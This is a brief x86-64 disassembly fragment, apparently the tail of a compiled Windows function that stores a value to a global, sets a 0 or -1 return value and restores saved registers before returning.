mov dword [0x1800609d8], ecx
xor eax, eax
jmp 0x180013c35
or eax, 0xffffffff
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret